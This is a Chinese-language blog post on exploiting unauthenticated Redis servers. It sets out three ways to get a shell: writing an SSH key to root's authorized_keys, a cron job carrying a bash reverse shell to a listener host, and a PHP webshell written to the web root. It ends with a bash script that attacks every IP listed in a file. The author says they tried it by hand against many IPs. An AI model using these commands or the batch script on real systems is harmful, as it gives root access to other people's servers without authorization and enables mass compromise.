1. 程式人生 > 實用技巧 >Redis未授權訪問+批量自動getshell指令碼

Redis未授權訪問+批量自動getshell指令碼

Redis未授權訪問+批量自動getshell指令碼

漏洞產生條件

  • redis繫結在 0.0.0.0:6379,且沒有對登入IP做限制,直接暴露在公網。
  • 沒有設定密碼(預設為空)。

漏洞危害

  • 攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料;
  • 攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案;
  • 最嚴重的情況,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器。

漏洞復現

下載安裝:

https://redis.io/download

分別為穩定版和不穩定版本。

解壓安裝

tar  -zxvf  redis-6.0.8.tar.gz   # 解壓
gcc -v     # 依賴於gcc apt install gcc
cd  redis-6.0.8  
make   # 編譯安裝
# 開始編譯了幾次都不成功,後面升級了gcc版本就一步到位了。

安裝完畢後彈出結果不一樣也無所有,只要redis-service, redis-cli檔案存在即可。

cd src  
cp redis-server /usr/bin/  
cp redis-cli /usr/bin/
cd … 
cp redis.conf /etc/ 
redis-server /etc/redis.conf  # 使用/etc/目錄下的redis.conf檔案中的配置啟動redis服務

驗證漏洞

如果沒有redis-客戶端環境也可下載視覺化客戶端進行連線。連線密碼為空,不過工具有點問題,時常連不上。

 https://github.com/caoxinyu/RedisClient/releases/tag/2.0.0

GetShell

一: 公私鑰認證獲取root許可權

  1. ssh免密配置

前提是受害者的機器上存在 /root/.ssh/ 目錄。

  1. 攻擊者生成ssh公私金鑰

ssh-keygen -t rsa  
# 一直回車即可

  1. 在攻擊者機器上將金鑰寫入受害者機器

cd .ssh/ 
(echo 
-e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #將生成的公鑰儲存到redistest.txt cat redistest.txt | redis-cli -h 受害者ip -x set redistest #將儲存ssh公鑰的redistext.txt寫入redis

5.登入受害者IP檢視

redis-cli -h 受害ip
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save

  1. 進行ssh登入嘗試

ssh -i id_rsa root@ip  -p 22 
# 需要root

二: 計劃任務反彈shell

  • 條件: redis以root身份執行

  1. 在伺服器用nc監聽

nc -lvvp 1234

2 .連線redis後寫入shell

redis-cli -h 192.168.246.130
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n"
config set dbfilename root
save

三:絕對路徑寫webshell

  • 條件: 知道網站絕對路徑

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set shell "<?php phpinfo(); ?>"
save

Shell指令碼批量反彈

  • 條件: 客戶端上裝了redis-cli

#!/bin/bash
getshell(){
echo "-----分割線-----"
redis-cli -h $i  2>&1 <<eeooff
config get dir
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n"  
config set dbfilename root
save
exit
eeooff
echo done!
}

ip=$IFSa
if [ $# -ne 1 ];then
       echo "Usage $0 filename"
       exit
fi
if [ ! -f $1 ];then
        echo " $1 is not a file"
        exit
fi
if [ -f log.txt ];then
        echo "log.txt existing"
        `rm -f log.txt`
fi
IFS=$'\n'
for i in `cat $1`
        do
                echo $i

                getshell >>log.txt
                #sleep 3s  

                echo $i >> log.txt
        done




執行完後會生成一個log.txt檔案。

未開放埠

不存在/var/spool/cron目錄

save失敗,一般是沒許可權

像這種的就是成功了

手工測試了好多ip,雖然存在未授權訪問漏洞的有很多。但是能利用的很少,出現最多的就是許可權不足。和目錄不存在,只要有許可權save就可以考慮別的方法getshell。

如果哪裡有錯誤請指出改正